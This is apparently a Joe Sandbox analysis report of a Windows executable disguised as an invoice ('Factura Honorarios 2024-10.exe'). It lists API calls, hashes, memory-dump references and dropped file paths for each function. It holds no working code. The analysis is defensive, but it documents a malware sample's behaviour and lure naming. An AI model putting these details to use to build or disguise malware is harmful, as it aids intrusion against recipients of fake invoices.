Opcode ID: 68c7d3c3e0f7f1cab3b80b2c1a5527bcb09bd52aa90d361a41447b3617ec313a
Instruction ID: 784fd17e5df65fd1e582592ff515389eb2153c2e002f91b2ba79ebddce7a884a
Opcode Fuzzy Hash: 68c7d3c3e0f7f1cab3b80b2c1a5527bcb09bd52aa90d361a41447b3617ec313a
Instruction Fuzzy Hash: D6B09235685201BAEA214B00ED09F957A62A768701F008464B300240B0C6B248A2DB09

Function 004031B4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402F30,?,?,?,?,00000000,00403425,?), ref: 004031C2

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction ID: 9708a756cc2c9ae94551e8e9c592081b607f980c3267f7876f2ac268d6c84cd7
Opcode Fuzzy Hash: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction Fuzzy Hash: B8B01231584200BFDA214F00DE05F057B21A790700F10C030B304381F082712420EB5D

Function 00403FDE Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403DB6), ref: 00403FE8

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 2acc807be0ba679717be6b01d9f42da513ad5f0c2234181876513f9ebcad2aad
Instruction ID: b1b9a75aa143e31e8517bedffcdc50d49ca7046a294c6db3a10a508eb0cd57f7
Opcode Fuzzy Hash: 2acc807be0ba679717be6b01d9f42da513ad5f0c2234181876513f9ebcad2aad
Instruction Fuzzy Hash: 31A01132808000ABCA028B80EF08C0ABB22BBB0300B008838B208808308A320820EB0E

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E6

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6917fec6ffc34fff1feb0dbf9c249be8de4da10d42883fba5183095b7f77083d
Instruction ID: ca840a0cce859b8ae2bc82a563140a091be244092cc4fcaf6916384ea8909f5f
Opcode Fuzzy Hash: 6917fec6ffc34fff1feb0dbf9c249be8de4da10d42883fba5183095b7f77083d
Instruction Fuzzy Hash: E6D0C9B7B141409BDB54EBB8AE8989B73A8E7513297204C73D942F20A1D578D8028A3D

Non-executed Functions

Function 0040499D Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049B5
GetDlgItem.USER32(?,00000408), ref: 004049C0
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A0A
LoadBitmapW.USER32(0000006E), ref: 00404A1D
SetWindowLongW.USER32(?,000000FC,00404F95), ref: 00404A36
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A4A
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404A5C
SendMessageW.USER32(?,00001109,00000002), ref: 00404A72
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A7E
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A90
DeleteObject.GDI32(00000000), ref: 00404A93
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404ABE
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ACA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B60
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404B8B
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B9F
GetWindowLongW.USER32(?,000000F0), ref: 00404BCE
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BDC
ShowWindow.USER32(?,00000005), ref: 00404BED
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CEA
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D4F
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D64
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D88
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DA8
ImageList_Destroy.COMCTL32(?), ref: 00404DBD
GlobalFree.KERNEL32(?), ref: 00404DCD
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E46
SendMessageW.USER32(?,00001102,?,?), ref: 00404EEF
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404EFE
InvalidateRect.USER32(?,00000000,?), ref: 00404F1E
ShowWindow.USER32(?,00000000), ref: 00404F6C
GetDlgItem.USER32(?,000003FE), ref: 00404F77
ShowWindow.USER32(00000000), ref: 00404F7E

Strings

, xrefs: 00404F56
M, xrefs: 00404B47
N, xrefs: 00404C28

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 0ffa46e9b13a572b6722491aa1927339d9f69ee42a2e2a1cbbe2628bd448c1d8
Instruction ID: f03e607a396e187e7a88a72d0c11c4872557c7a4ae09ea9be525cead3dabdd13
Opcode Fuzzy Hash: 0ffa46e9b13a572b6722491aa1927339d9f69ee42a2e2a1cbbe2628bd448c1d8
Instruction Fuzzy Hash: A90294B0900209EFEB209F55DD45AAE7BB5FB84314F10817AF610B62E0C7799D52CF58

Function 00404457 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004044A6
SetWindowTextW.USER32(00000000,?), ref: 004044D0
SHBrowseForFolderW.SHELL32(?), ref: 00404581
CoTaskMemFree.OLE32(00000000), ref: 0040458C
lstrcmpiW.KERNEL32(Call,00422698,00000000,?,?), ref: 004045BE
lstrcatW.KERNEL32(?,Call), ref: 004045CA
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004045DC

Part of subcall function 00405537: GetDlgItemTextW.USER32(?,?,00000400,00404613), ref: 0040554A

Part of subcall function 0040600B: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 0040606E
Part of subcall function 0040600B: CharNextW.USER32(?,?,?,00000000), ref: 0040607D
Part of subcall function 0040600B: CharNextW.USER32(?,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406082
Part of subcall function 0040600B: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406095

GetDiskFreeSpaceW.KERNEL32(00420668,?,?,0000040F,?,00420668,00420668,?,00000000,00420668,?,?,000003FB,?), ref: 0040469D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004046B8
SetDlgItemTextW.USER32(00000000,00000400,00420658), ref: 0040473E

Strings

Call, xrefs: 004045B8, 004045BD, 004045C8
A, xrefs: 0040457A
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer, xrefs: 004045A7

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer$Call
API String ID: 2246997448-2961147510
Opcode ID: f355fcafbdc44a253fd506062086f2951197c42d039416400d982413e2fc1c25
Instruction ID: 0c6fa40730a198f5f3b00d197b033e886b1b3680f215deb67d5ef6a97ab5c625
Opcode Fuzzy Hash: f355fcafbdc44a253fd506062086f2951197c42d039416400d982413e2fc1c25
Instruction Fuzzy Hash: A79163B1900205BBDB11AFA1DC85AAF77B8EF85314F10847BF601B72D1D77C9A418B69

Function 0040206A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407474,?,?,00407464,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020BD

Strings

C:\Program Files (x86)\shaw, xrefs: 004020FB

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Program Files (x86)\shaw
API String ID: 542301482-209812835
Opcode ID: 9427c6a701c92922babb39cdb8b7d9d670389baac5a1f16205eb8045a6f859ea
Instruction ID: 320da03c4b58a6f492d73c9084ae0adc7b8dbf3defd95da7e5f41f6b65968188
Opcode Fuzzy Hash: 9427c6a701c92922babb39cdb8b7d9d670389baac5a1f16205eb8045a6f859ea
Instruction Fuzzy Hash: 74414E75A00105BFCB00DFA8C988EAE7BB5AF49318B20416AF905EF2D1DA79ED41CB55

Function 00402770 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040277F

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: f42fc509a8610e2fd9ee7677f8d81a2a35df7b0b7b325dc4dc1c38febfc0d813
Instruction ID: 81a3354c9c50dc932bc25f9396bfa9246b1e72d43aeb2e6b96ab1eceb958d047
Opcode Fuzzy Hash: f42fc509a8610e2fd9ee7677f8d81a2a35df7b0b7b325dc4dc1c38febfc0d813
Instruction Fuzzy Hash: 4CF05EB1A141149BDB00DFE4DD499EEB378FF04328F20497AE101F31D0D6B459409B2A

Function 00404159 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 004041F7
GetDlgItem.USER32(?,000003E8), ref: 0040420B
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 00404228
GetSysColor.USER32(?), ref: 00404239
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404247
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404255
lstrlenW.KERNEL32(?), ref: 0040425A
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404267
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040427C
GetDlgItem.USER32(?,0000040A), ref: 004042D5
SendMessageW.USER32(00000000), ref: 004042DC
GetDlgItem.USER32(?,000003E8), ref: 00404307
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040434A
LoadCursorW.USER32(00000000,00007F02), ref: 00404358
SetCursor.USER32(00000000), ref: 0040435B
ShellExecuteW.SHELL32(0000070B,open,@qB,00000000,00000000,?), ref: 00404370
LoadCursorW.USER32(00000000,00007F00), ref: 0040437C
SetCursor.USER32(00000000), ref: 0040437F
SendMessageW.USER32(00000111,?,00000000), ref: 004043AE
SendMessageW.USER32(00000010,00000000,00000000), ref: 004043C0

Strings

open, xrefs: 00404368
@qB, xrefs: 00404365
N, xrefs: 004042F5

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

